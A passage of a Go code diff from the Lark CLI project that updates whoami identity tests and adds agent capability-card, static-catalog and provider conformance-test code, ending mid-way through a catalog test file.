Bot: identitydiag.Identity{Available: false, Status: "not_configured"},
|
||||
Bot: identitydiag.Identity{Available: false, Status: "not_configured", Hint: "run: lark-cli config --help"},
|
||||
}
|
||||
r := buildResult(cfg, core.AsBot, "auto-detect", diag)
|
||||
r := buildResult(cfg, core.AsBot, "auto_detect", diag)
|
||||
|
||||
if r.Available {
|
||||
t.Fatalf("available = true, want false")
|
||||
@@ -122,58 +129,8 @@ func TestBuildResult_BotNotConfigured(t *testing.T) {
|
||||
if r.TokenStatus != "not_configured" {
|
||||
t.Fatalf("tokenStatus = %q, want not_configured", r.TokenStatus)
|
||||
}
|
||||
if r.Hint == "" {
|
||||
t.Fatalf("hint empty, want guidance")
|
||||
}
|
||||
}
|
||||
|
||||
func TestFormatPretty_User(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
formatPretty(&buf, &whoamiResult{
|
||||
Profile: "my-app", AppID: "cli_x", Brand: core.BrandLark,
|
||||
Identity: "user", IdentitySource: "auto-detect",
|
||||
Available: true, TokenStatus: "valid", OpenID: "ou_x", UserName: "Alice",
|
||||
})
|
||||
out := buf.String()
|
||||
for _, want := range []string{
|
||||
"Profile: my-app (cli_x, lark)",
|
||||
"Identity: user (auto-detect)",
|
||||
"User: Alice (ou_x)",
|
||||
"Token: valid",
|
||||
} {
|
||||
if !strings.Contains(out, want) {
|
||||
t.Errorf("output missing %q\n--- got ---\n%s", want, out)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestFormatPretty_BotNoUserLine(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
formatPretty(&buf, &whoamiResult{
|
||||
Profile: "p", AppID: "cli_x", Brand: core.BrandFeishu,
|
||||
Identity: "bot", IdentitySource: "default-as",
|
||||
Available: true, TokenStatus: "ready",
|
||||
})
|
||||
out := buf.String()
|
||||
if strings.Contains(out, "User:") {
|
||||
t.Errorf("bot output must not contain User: line\n%s", out)
|
||||
}
|
||||
if !strings.Contains(out, "Identity: bot (default-as)") || !strings.Contains(out, "Token: ready") {
|
||||
t.Errorf("unexpected bot output:\n%s", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFormatPretty_UnavailableShowsHint(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
formatPretty(&buf, &whoamiResult{
|
||||
Profile: "p", AppID: "cli_x", Brand: core.BrandLark,
|
||||
Identity: "user", IdentitySource: "auto-detect",
|
||||
Available: false, TokenStatus: "missing",
|
||||
Hint: "No usable user token. Run `lark-cli auth login`.",
|
||||
})
|
||||
out := buf.String()
|
||||
if !strings.Contains(out, "Token: missing — No usable user token.") {
|
||||
t.Errorf("expected token line with hint, got:\n%s", out)
|
||||
if r.Hint != diag.Bot.Hint {
|
||||
t.Fatalf("hint = %q, want propagated %q", r.Hint, diag.Bot.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -183,7 +140,7 @@ func TestWhoami_BotJSON(t *testing.T) {
|
||||
})
|
||||
|
||||
cmd := NewCmdWhoami(f)
|
||||
cmd.SetArgs([]string{"--json"})
|
||||
cmd.SetArgs([]string{}) // bare whoami: output is always JSON, no flag needed
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("Execute() error = %v", err)
|
||||
}
|
||||
@@ -204,8 +161,8 @@ func TestWhoami_BotJSON(t *testing.T) {
|
||||
if got.IdentitySource == "" {
|
||||
t.Fatalf("identitySource empty")
|
||||
}
|
||||
if got.OpenID != "" {
|
||||
t.Fatalf("bot must not carry openId: %q", got.OpenID)
|
||||
if got.OnBehalfOf != nil {
|
||||
t.Fatalf("bot (self) must not carry onBehalfOf: %#v", got.OnBehalfOf)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -256,3 +213,108 @@ func TestWhoami_ConfigErrorPropagates(t *testing.T) {
|
||||
t.Fatalf("Execute() error = %v, want it to wrap %v", err, wantErr)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWhoami_StrictModeRejectsCrossIdentity(t *testing.T) {
|
||||
// Bot-only account → strict mode bot. A real `--as user` call would be
|
||||
// rejected by CheckStrictMode; whoami must reject it identically rather than
|
||||
// previewing a user identity the next call would refuse.
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
ProfileName: "p", AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
|
||||
SupportedIdentities: 2, // bot only
|
||||
})
|
||||
cmd := NewCmdWhoami(f)
|
||||
cmd.SetArgs([]string{"--as", "user", "--json"})
|
||||
err := cmd.Execute()
|
||||
if err == nil {
|
||||
t.Fatalf("Execute() with --as user under strict bot = nil, want strict-mode rejection")
|
||||
}
|
||||
var ve *errs.ValidationError
|
||||
if !errors.As(err, &ve) {
|
||||
t.Fatalf("error type = %T, want *errs.ValidationError: %v", err, err)
|
||||
}
|
||||
}
|
||||
|
||||
type fakeExtProvider struct {
|
||||
name string
|
||||
account *extcred.Account
|
||||
}
|
||||
|
||||
func (p *fakeExtProvider) Name() string { return p.name }
|
||||
func (p *fakeExtProvider) ResolveAccount(context.Context) (*extcred.Account, error) {
|
||||
return p.account, nil
|
||||
}
|
||||
func (p *fakeExtProvider) ResolveToken(context.Context, extcred.TokenSpec) (*extcred.Token, error) {
|
||||
return nil, nil // no UAT served locally; whoami runs with verify=false
|
||||
}
|
||||
|
||||
func externalWhoamiFactory(cfg *core.CliConfig) (*cmdutil.Factory, *bytes.Buffer) {
|
||||
cred := credential.NewCredentialProvider(
|
||||
[]extcred.Provider{&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: cfg.AppID}}},
|
||||
nil, nil,
|
||||
func() (*http.Client, error) { return nil, nil },
|
||||
)
|
||||
out := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{
|
||||
Config: func() (*core.CliConfig, error) { return cfg, nil },
|
||||
Credential: cred,
|
||||
IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: &bytes.Buffer{}},
|
||||
}
|
||||
return f, out
|
||||
}
|
||||
|
||||
// Regression for the external-provider blind spot: with credentials managed by
|
||||
// an extension provider, a signed-in user must read as available, and an
|
||||
// unavailable identity must not be told to "auth login" (which is blocked).
|
||||
func TestWhoami_ExternalProvider_UserReady(t *testing.T) {
|
||||
cfg := &core.CliConfig{
|
||||
ProfileName: "p", AppID: "cli_x", Brand: core.BrandFeishu,
|
||||
SupportedIdentities: uint8(extcred.SupportsAll), UserOpenId: "ou_x", UserName: "Alice",
|
||||
}
|
||||
f, out := externalWhoamiFactory(cfg)
|
||||
|
||||
cmd := NewCmdWhoami(f)
|
||||
cmd.SetArgs([]string{"--as", "user", "--json"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("Execute() error = %v", err)
|
||||
}
|
||||
var got whoamiResult
|
||||
if err := json.Unmarshal(out.Bytes(), &got); err != nil {
|
||||
t.Fatalf("Unmarshal: %v\n%s", err, out.String())
|
||||
}
|
||||
if got.Identity != "user" || !got.Available || got.TokenStatus != "ready" {
|
||||
t.Fatalf("got %#v, want user/available/ready", got)
|
||||
}
|
||||
if got.OnBehalfOf == nil || got.OnBehalfOf.UserName != "Alice" || got.OnBehalfOf.OpenID != "ou_x" {
|
||||
t.Fatalf("onBehalfOf = %#v, want Alice/ou_x (delegated)", got.OnBehalfOf)
|
||||
}
|
||||
if got.Hint != "" {
|
||||
t.Fatalf("hint = %q, want empty when available", got.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWhoami_ExternalProvider_UserHintNotKeychain(t *testing.T) {
|
||||
cfg := &core.CliConfig{
|
||||
ProfileName: "p", AppID: "cli_x", Brand: core.BrandFeishu,
|
||||
SupportedIdentities: uint8(extcred.SupportsUser), // user supported but not signed in
|
||||
}
|
||||
f, out := externalWhoamiFactory(cfg)
|
||||
|
||||
cmd := NewCmdWhoami(f)
|
||||
cmd.SetArgs([]string{"--as", "user", "--json"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("Execute() error = %v", err)
|
||||
}
|
||||
var got whoamiResult
|
||||
if err := json.Unmarshal(out.Bytes(), &got); err != nil {
|
||||
t.Fatalf("Unmarshal: %v\n%s", err, out.String())
|
||||
}
|
||||
if got.Identity != "user" || got.Available {
|
||||
t.Fatalf("got identity=%q available=%v, want user/false", got.Identity, got.Available)
|
||||
}
|
||||
if strings.Contains(got.Hint, "auth login") {
|
||||
t.Fatalf("hint must not point at auth login under external provider: %q", got.Hint)
|
||||
}
|
||||
if !strings.Contains(got.Hint, "external") {
|
||||
t.Fatalf("hint should explain external management: %q", got.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -12,8 +12,9 @@ const (
|
||||
|
||||
// CategoryValidation subtypes
|
||||
const (
|
||||
SubtypeInvalidArgument Subtype = "invalid_argument" // user-supplied flag / arg failed validation (gRPC INVALID_ARGUMENT alignment)
|
||||
SubtypeFailedPrecondition Subtype = "failed_precondition" // request is valid but the system/resource state is not in the state required to execute; caller must change state (not retry) — e.g. ambiguous remote mapping (gRPC FAILED_PRECONDITION alignment)
|
||||
SubtypeInvalidArgument Subtype = "invalid_argument" // user-supplied flag / arg failed validation (gRPC INVALID_ARGUMENT alignment)
|
||||
SubtypeFailedPrecondition Subtype = "failed_precondition" // request is valid but the system/resource state is not in the state required to execute; caller must change state (not retry) — e.g. ambiguous remote mapping (gRPC FAILED_PRECONDITION alignment)
|
||||
SubtypeUnsupportedCapability Subtype = "unsupported_capability" // the addressed provider/agent does not support the requested capability (agent card / Discoverer gating); exit 2, no request is sent
|
||||
)
|
||||
|
||||
// CategoryAuthentication subtypes
|
||||
|
||||
163
internal/agent/agenttest/agenttest.go
Normal file
163
internal/agent/agenttest/agenttest.go
Normal file
@@ -0,0 +1,163 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// Package agenttest provides provider conformance tests: a new integrator calls
|
||||
// RunConformance in its own test to lock down registration metadata, the
|
||||
// zero-value Deps contract, Card single-sourcing, and other implicit contracts.
|
||||
// All assertions run offline (zero-value Deps, no API calls).
|
||||
package agenttest
|
||||
|
||||
import (
|
||||
"context"
|
||||
"reflect"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/internal/agent"
|
||||
)
|
||||
|
||||
// RunConformance runs the full set of conformance assertions against a
|
||||
// registered scheme. sampleAgentID must be a valid agent id for which the
|
||||
// provider can produce a Card (catalog-type: an id from the catalog;
|
||||
// instance-type: any non-empty id).
|
||||
func RunConformance(t *testing.T, scheme, sampleAgentID string) {
|
||||
t.Helper()
|
||||
info, ok := agent.Info(scheme)
|
||||
if !ok {
|
||||
t.Fatalf("conformance: scheme %q not registered (the provider package must be imported to trigger init registration)", scheme)
|
||||
}
|
||||
|
||||
t.Run("metadata", func(t *testing.T) {
|
||||
if info.Label == "" {
|
||||
t.Error("conformance: ProviderInfo.Label must not be empty")
|
||||
}
|
||||
if info.AgentIDSource == "" {
|
||||
t.Error("conformance: ProviderInfo.AgentIDSource must not be empty")
|
||||
}
|
||||
if info.Kind != agent.KindCatalog && info.Kind != agent.KindInstance {
|
||||
t.Errorf("conformance: Kind should be %q|%q, got %q", agent.KindCatalog, agent.KindInstance, info.Kind)
|
||||
}
|
||||
if !strings.HasPrefix(info.AgentRefFormat, scheme+":") {
|
||||
t.Errorf("conformance: AgentRefFormat should start with %q, got %q", scheme+":", info.AgentRefFormat)
|
||||
}
|
||||
if len(info.Identities) == 0 {
|
||||
t.Error("conformance: Identities must not be empty")
|
||||
}
|
||||
for i, id := range info.Identities {
|
||||
if id.Type != agent.IdentityUser && id.Type != agent.IdentityBot {
|
||||
t.Errorf("conformance: Identities[%d].Type should be user|bot, got %q", i, id.Type)
|
||||
}
|
||||
}
|
||||
seen := make(map[string]bool, len(info.RequiredScopes))
|
||||
for _, s := range info.RequiredScopes {
|
||||
if seen[s] {
|
||||
t.Errorf("conformance: RequiredScopes contains duplicate %q", s)
|
||||
}
|
||||
seen[s] = true
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("factory", func(t *testing.T) {
|
||||
p, err := info.Factory(agent.Deps{}, sampleAgentID)
|
||||
if err != nil {
|
||||
t.Fatalf("conformance: Factory must accept zero-value Deps (expected nil error), got %v", err)
|
||||
}
|
||||
if p == nil {
|
||||
t.Fatal("conformance: Factory must not return a nil provider")
|
||||
}
|
||||
// Core fields are mandatory (the command layer dispatches them without a
|
||||
// nil-check); Register enforces this at registration, re-assert here.
|
||||
if p.Send == nil {
|
||||
t.Error("conformance: Provider.Send (core) must be wired")
|
||||
}
|
||||
if p.GetTask == nil {
|
||||
t.Error("conformance: Provider.GetTask (core) must be wired")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("card", func(t *testing.T) {
|
||||
newCard := func() *agent.AgentCard {
|
||||
t.Helper()
|
||||
p, err := info.Factory(agent.Deps{}, sampleAgentID)
|
||||
if err != nil {
|
||||
t.Fatalf("conformance: Factory(zero-value Deps) returned error: %v", err)
|
||||
}
|
||||
card, err := agent.BuildCard(context.Background(), scheme, sampleAgentID, p)
|
||||
if err != nil {
|
||||
t.Fatalf("conformance: BuildCard should be available offline (expected nil error), got %v", err)
|
||||
}
|
||||
if card == nil {
|
||||
t.Fatal("conformance: Card must not return nil")
|
||||
}
|
||||
return card
|
||||
}
|
||||
card := newCard()
|
||||
if card.Provider != scheme {
|
||||
t.Errorf("conformance: Card.Provider should be %q, got %q", scheme, card.Provider)
|
||||
}
|
||||
if card.AgentID != sampleAgentID {
|
||||
t.Errorf("conformance: Card.AgentID should echo the constructor input %q, got %q", sampleAgentID, card.AgentID)
|
||||
}
|
||||
if card.ProviderLabel != info.Label {
|
||||
t.Errorf("conformance: Card.ProviderLabel should equal the registered Label %q, got %q", info.Label, card.ProviderLabel)
|
||||
}
|
||||
if !reflect.DeepEqual(card.Identity, info.Identities) {
|
||||
t.Errorf("conformance: Card.Identity should match the registered Identities (single source), expected %+v got %+v", info.Identities, card.Identity)
|
||||
}
|
||||
if card.AgentIDSource != info.AgentIDSource {
|
||||
t.Errorf("conformance: Card.AgentIDSource should equal the registered value %q, got %q", info.AgentIDSource, card.AgentIDSource)
|
||||
}
|
||||
if card.Parameters == nil {
|
||||
t.Error("conformance: Card.Parameters must not be nil (always emitted, empty is [])")
|
||||
}
|
||||
// Single-sourcing: two independent instances each produce a Card, and the
|
||||
// results must DeepEqual (no hidden instance state).
|
||||
if card2 := newCard(); !reflect.DeepEqual(card, card2) {
|
||||
t.Errorf("conformance: Cards from two instances should DeepEqual (single source), got\n%+v\nvs\n%+v", card, card2)
|
||||
}
|
||||
})
|
||||
|
||||
if info.Kind == agent.KindCatalog {
|
||||
t.Run("discovery", func(t *testing.T) {
|
||||
p, err := info.Factory(agent.Deps{}, sampleAgentID)
|
||||
if err != nil {
|
||||
t.Fatalf("conformance: Factory(zero-value Deps) returned error: %v", err)
|
||||
}
|
||||
if p.ListAgents == nil {
|
||||
t.Fatal("conformance: catalog-type provider must wire ListAgents")
|
||||
}
|
||||
list, err := p.ListAgents(context.Background())
|
||||
if err != nil {
|
||||
t.Fatalf("conformance: catalog-type ListAgents should be available offline (expected nil error), got %v", err)
|
||||
}
|
||||
wantRef := scheme + ":" + sampleAgentID
|
||||
found := false
|
||||
for i, a := range list {
|
||||
r, err := agent.ParseRef(a.AgentRef)
|
||||
if err != nil {
|
||||
t.Errorf("conformance: ListAgents[%d].AgentRef %q should be parseable by agent.ParseRef: %v", i, a.AgentRef, err)
|
||||
continue
|
||||
}
|
||||
if r.Scheme != scheme {
|
||||
t.Errorf("conformance: ListAgents[%d].AgentRef %q scheme should be %q, got %q", i, a.AgentRef, scheme, r.Scheme)
|
||||
}
|
||||
if a.Name == "" {
|
||||
t.Errorf("conformance: ListAgents[%d] (%s) Name must not be empty", i, a.AgentRef)
|
||||
}
|
||||
if a.AgentRef == wantRef {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Errorf("conformance: sampleAgentID should appear in the enumeration (expected to contain %q), got %+v", wantRef, list)
|
||||
}
|
||||
list2, err := p.ListAgents(context.Background())
|
||||
if err != nil {
|
||||
t.Fatalf("conformance: second ListAgents returned error: %v", err)
|
||||
}
|
||||
if !reflect.DeepEqual(list, list2) {
|
||||
t.Errorf("conformance: two consecutive ListAgents results should DeepEqual (stable enumeration), got\n%+v\nvs\n%+v", list, list2)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
155
internal/agent/card.go
Normal file
155
internal/agent/card.go
Normal file
@@ -0,0 +1,155 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import "context"
|
||||
|
||||
// capability key constants (the JSON key names in capabilities, also the
|
||||
// capability identifiers used by Supports / capabilityError). Only capabilities
|
||||
// that "can change the AI's next command line and are currently deliverable" are
|
||||
// exposed.
|
||||
const (
|
||||
CapTaskGet = "task_get"
|
||||
CapTaskList = "task_list"
|
||||
CapTaskCancel = "task_cancel"
|
||||
CapInputRequired = "input_required"
|
||||
CapFileInput = "file_input"
|
||||
CapArtifactDownload = "artifact_download"
|
||||
CapMultiTurn = "multi_turn"
|
||||
)
|
||||
|
||||
// Capabilities is the closed set of capabilities: making it a struct means an
|
||||
// omitted field is an explicit false and a typo is a compile error. Fields are
|
||||
// ordered by json tag alphabetically to keep the key order identical to the old
|
||||
// map serialization.
|
||||
type Capabilities struct {
|
||||
ArtifactDownload bool `json:"artifact_download"`
|
||||
FileInput bool `json:"file_input"`
|
||||
InputRequired bool `json:"input_required"`
|
||||
MultiTurn bool `json:"multi_turn"`
|
||||
TaskCancel bool `json:"task_cancel"`
|
||||
TaskGet bool `json:"task_get"`
|
||||
TaskList bool `json:"task_list"`
|
||||
}
|
||||
|
||||
// AgentCard is a remote agent's capability card (schema v2): provider metadata,
|
||||
// the supported capability matrix, identity precondition declarations, and
|
||||
// parameter / skill declarations (scopes are not in the card; they are internal
|
||||
// registration data for preflight only).
|
||||
type AgentCard struct {
|
||||
Provider string `json:"provider"`
|
||||
ProviderLabel string `json:"provider_label"`
|
||||
AgentID string `json:"agent_id"`
|
||||
Name string `json:"name,omitempty"` // dynamic card only
|
||||
Description string `json:"description,omitempty"`
|
||||
Capabilities Capabilities `json:"capabilities"`
|
||||
Identity []IdentitySpec `json:"identity"`
|
||||
Parameters []CardParam `json:"parameters"` // always emitted (empty is [])
|
||||
AgentIDSource string `json:"agent_id_source"`
|
||||
Skills []CardSkill `json:"skills,omitempty"`
|
||||
}
|
||||
|
||||
// NewCard fills in all fields known at registration time from the registration
|
||||
// info (Provider/ProviderLabel/Identity/AgentIDSource/empty Parameters); the
|
||||
// integrator only supplies the per-agent part (Capabilities, plus Name/
|
||||
// Description for catalog types). An unregistered scheme is a programming error
|
||||
// (a provider should only pass its own scheme), so it panics fail-fast.
|
||||
func NewCard(scheme, agentID string) *AgentCard {
|
||||
info, ok := Info(scheme)
|
||||
if !ok {
|
||||
panic("agent: NewCard for unregistered scheme: " + scheme)
|
||||
}
|
||||
return &AgentCard{
|
||||
Provider: scheme,
|
||||
ProviderLabel: info.Label,
|
||||
AgentID: agentID,
|
||||
Identity: info.Identities,
|
||||
Parameters: []CardParam{},
|
||||
AgentIDSource: info.AgentIDSource,
|
||||
}
|
||||
}
|
||||
|
||||
// DeriveCapabilities computes the capability matrix from which Provider fields
|
||||
// are wired — the single source of truth. The method-backed capabilities are
|
||||
// derived from the corresponding func field being non-nil (implement it =
|
||||
// support it); file_input / input_required are behavioral flags with no backing
|
||||
// method and are read straight from the struct. Send/GetTask are mandatory
|
||||
// (Register enforces), so task_get is always true.
|
||||
func DeriveCapabilities(p *Provider) Capabilities {
|
||||
return Capabilities{
|
||||
TaskGet: p.GetTask != nil,
|
||||
TaskList: p.ListTasks != nil,
|
||||
TaskCancel: p.CancelTask != nil,
|
||||
ArtifactDownload: p.DownloadArtifact != nil,
|
||||
MultiTurn: p.ListContexts != nil,
|
||||
FileInput: p.FileInput,
|
||||
InputRequired: p.InputRequired,
|
||||
}
|
||||
}
|
||||
|
||||
// BuildCard synthesizes an agent's full Card: NewCard fills the
|
||||
// registration-time fields, DeriveCapabilities fills the matrix from the wired
|
||||
// fields, and Describe (if the provider set it) supplies the per-agent
|
||||
// Name/Description/Parameters/Skills and validates the agent_id. A provider
|
||||
// therefore never assembles its own card or declares its own capability bools.
|
||||
func BuildCard(ctx context.Context, scheme, agentID string, p *Provider) (*AgentCard, error) {
|
||||
card := NewCard(scheme, agentID)
|
||||
card.Capabilities = DeriveCapabilities(p)
|
||||
if p.Describe != nil {
|
||||
info, err := p.Describe(ctx)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if info != nil {
|
||||
card.Name = info.Name
|
||||
card.Description = info.Description
|
||||
if info.Parameters != nil {
|
||||
card.Parameters = info.Parameters
|
||||
}
|
||||
card.Skills = info.Skills
|
||||
}
|
||||
}
|
||||
return card, nil
|
||||
}
|
||||
|
||||
// CardParam is one input parameter declared by a Card (used for --param validation).
|
||||
type CardParam struct {
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Required bool `json:"required"`
|
||||
Desc string `json:"desc,omitempty"`
|
||||
}
|
||||
|
||||
// CardSkill is one skill / scenario declared by a Card (with example usages).
|
||||
type CardSkill struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name,omitempty"`
|
||||
Examples []string `json:"examples,omitempty"`
|
||||
}
|
||||
|
||||
// Supports reports whether a capability is declared as supported (an unknown key
|
||||
// or a nil card is treated as unsupported).
|
||||
func (c *AgentCard) Supports(cap string) bool {
|
||||
if c == nil {
|
||||
return false
|
||||
}
|
||||
switch cap {
|
||||
case CapArtifactDownload:
|
||||
return c.Capabilities.ArtifactDownload
|
||||
case CapFileInput:
|
||||
return c.Capabilities.FileInput
|
||||
case CapInputRequired:
|
||||
return c.Capabilities.InputRequired
|
||||
case CapMultiTurn:
|
||||
return c.Capabilities.MultiTurn
|
||||
case CapTaskCancel:
|
||||
return c.Capabilities.TaskCancel
|
||||
case CapTaskGet:
|
||||
return c.Capabilities.TaskGet
|
||||
case CapTaskList:
|
||||
return c.Capabilities.TaskList
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
65
internal/agent/card_test.go
Normal file
65
internal/agent/card_test.go
Normal file
@@ -0,0 +1,65 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestCardSupports(t *testing.T) {
|
||||
c := &AgentCard{Capabilities: Capabilities{TaskCancel: false, MultiTurn: true}}
|
||||
if c.Supports(CapTaskCancel) {
|
||||
t.Error("task_cancel should not be supported")
|
||||
}
|
||||
if !c.Supports(CapMultiTurn) {
|
||||
t.Error("multi_turn should be supported")
|
||||
}
|
||||
if c.Supports("nonexistent") {
|
||||
t.Error("unknown capability should be treated as unsupported")
|
||||
}
|
||||
// nil guard branch: a nil receiver is treated as unsupported; a zero-value Capabilities is all false.
|
||||
var nilCard *AgentCard
|
||||
if nilCard.Supports(CapMultiTurn) {
|
||||
t.Error("nil card should be treated as unsupported")
|
||||
}
|
||||
if (&AgentCard{}).Supports(CapMultiTurn) {
|
||||
t.Error("zero-value Capabilities should be treated as unsupported")
|
||||
}
|
||||
// Each capability constant must map to its own struct field (the switch has no gaps or mismatches).
|
||||
all := &AgentCard{Capabilities: Capabilities{
|
||||
ArtifactDownload: true, FileInput: true, InputRequired: true,
|
||||
MultiTurn: true, TaskCancel: true, TaskGet: true, TaskList: true,
|
||||
}}
|
||||
for _, k := range []string{
|
||||
CapArtifactDownload, CapFileInput, CapInputRequired,
|
||||
CapMultiTurn, CapTaskCancel, CapTaskGet, CapTaskList,
|
||||
} {
|
||||
if !all.Supports(k) {
|
||||
t.Errorf("Supports(%q) should be true when all Capabilities are true", k)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCardFillsRegistrationFields pins that NewCard pre-fills every
|
||||
// registration-known field and panics on an unregistered scheme.
|
||||
func TestNewCardFillsRegistrationFields(t *testing.T) {
|
||||
swapRegistry(t, map[string]ProviderInfo{})
|
||||
info := testInfo("nc", okFactory())
|
||||
info.Identities = []IdentitySpec{{Type: IdentityBot, Precondition: "需要白名单"}}
|
||||
Register("nc", info)
|
||||
|
||||
card := NewCard("nc", "agt_1")
|
||||
if card.Provider != "nc" || card.AgentID != "agt_1" {
|
||||
t.Fatalf("provider/agent_id: %+v", card)
|
||||
}
|
||||
if card.ProviderLabel != info.Label || card.AgentIDSource != info.AgentIDSource {
|
||||
t.Fatalf("registration metadata should be pre-filled: %+v", card)
|
||||
}
|
||||
if len(card.Identity) != 1 || card.Identity[0].Type != IdentityBot {
|
||||
t.Fatalf("identity should come from registration info: %+v", card.Identity)
|
||||
}
|
||||
if card.Parameters == nil || len(card.Parameters) != 0 {
|
||||
t.Fatalf("parameters should be empty but non-nil (always emit []): %#v", card.Parameters)
|
||||
}
|
||||
|
||||
mustPanic(t, "unregistered scheme", func() { NewCard("ghost", "agt_1") })
|
||||
}
|
||||
90
internal/agent/catalog.go
Normal file
90
internal/agent/catalog.go
Normal file
@@ -0,0 +1,90 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sort"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
)
|
||||
|
||||
// CatalogEntry is the provider-neutral description of one predefined agent in a
|
||||
// catalog-type provider. It holds only descriptive fields the framework can
|
||||
// consume (enumeration / Card metadata); capabilities are NOT declared here —
|
||||
// they are derived from which Provider func fields the integrator's Factory
|
||||
// wires for this agent (see agent/example). A provider's private business
|
||||
// fields (such as the execution backend it points to) are maintained alongside
|
||||
// in the integrator's own package and do not enter framework types.
|
||||
type CatalogEntry struct {
|
||||
ID string
|
||||
Name string
|
||||
Description string
|
||||
}
|
||||
|
||||
// StaticCatalog carries the common boilerplate of a catalog-type provider:
|
||||
// catalog enumeration (the ListAgents field), per-agent Card metadata (Describe
|
||||
// returns the entry's Name/Description), and a typed validation error for
|
||||
// unknown ids. Capabilities are derived by the framework from the Provider
|
||||
// fields the integrator's Factory wires, not stored here. Business differences
|
||||
// (such as the execution backend) are composed by the provider itself on the
|
||||
// outer layer. It is read-only after construction and safe for concurrent use.
|
||||
type StaticCatalog struct {
|
||||
scheme string
|
||||
entries map[string]CatalogEntry
|
||||
}
|
||||
|
||||
// NewStaticCatalog constructs a static catalog. A duplicate entry ID is an
|
||||
// integrator coding error and panics fail-fast (aligned with the Register convention).
|
||||
func NewStaticCatalog(scheme string, entries []CatalogEntry) *StaticCatalog {
|
||||
m := make(map[string]CatalogEntry, len(entries))
|
||||
for _, e := range entries {
|
||||
if _, dup := m[e.ID]; dup {
|
||||
panic("agent: StaticCatalog duplicate entry ID for scheme " + scheme + ": " + e.ID)
|
||||
}
|
||||
m[e.ID] = e
|
||||
}
|
||||
return &StaticCatalog{scheme: scheme, entries: m}
|
||||
}
|
||||
|
||||
// ListAgents enumerates the catalog (Discoverer semantics), sorted by AgentRef
|
||||
// to guarantee stable output.
|
||||
func (c *StaticCatalog) ListAgents(ctx context.Context) ([]AgentSummary, error) {
|
||||
out := make([]AgentSummary, 0, len(c.entries))
|
||||
for _, e := range c.entries {
|
||||
out = append(out, AgentSummary{
|
||||
AgentRef: c.scheme + ":" + e.ID,
|
||||
Name: e.Name,
|
||||
Description: e.Description,
|
||||
})
|
||||
}
|
||||
sort.Slice(out, func(i, j int) bool { return out[i].AgentRef < out[j].AgentRef })
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// Describe returns the per-agent Card metadata (Name/Description) for agentID,
|
||||
// suitable as a Provider.Describe implementation: it validates the id (an
|
||||
// unknown id returns the typed error from Lookup) and leaves capability
|
||||
// derivation to the framework. Parameters/Skills are left empty; a provider
|
||||
// with declared parameters composes them on top.
|
||||
func (c *StaticCatalog) Describe(agentID string) (*CardInfo, error) {
|
||||
e, err := c.Lookup(agentID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &CardInfo{Name: e.Name, Description: e.Description}, nil
|
||||
}
|
||||
|
||||
// Lookup fetches a catalog entry by id. An unknown id returns a typed
|
||||
// validation/invalid_argument error (exit 2) whose hint points to
|
||||
// `agent list <scheme>`, so a provider need not define its own unknown-agent error.
|
||||
func (c *StaticCatalog) Lookup(agentID string) (CatalogEntry, error) {
|
||||
e, ok := c.entries[agentID]
|
||||
if !ok {
|
||||
return CatalogEntry{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 %s agent '%s'", c.scheme, agentID).
|
||||
WithHint("运行 lark-cli agent list %s 查看可用 agent", c.scheme)
|
||||
}
|
||||
return e, nil
|
||||
}
|
||||
99
internal/agent/catalog_test.go
Normal file
99
internal/agent/catalog_test.go
Normal file
@@ -0,0 +1,99 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"reflect"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
)
|
||||
|
||||
// testCatalogEntries is declared out of order to verify ListAgents sorting stability.
|
||||
func testCatalogEntries() []CatalogEntry {
|
||||
return []CatalogEntry{
|
||||
{ID: "zeta", Name: "Zeta 助手", Description: "z desc"},
|
||||
{ID: "alpha", Name: "Alpha 助手", Description: "a desc"},
|
||||
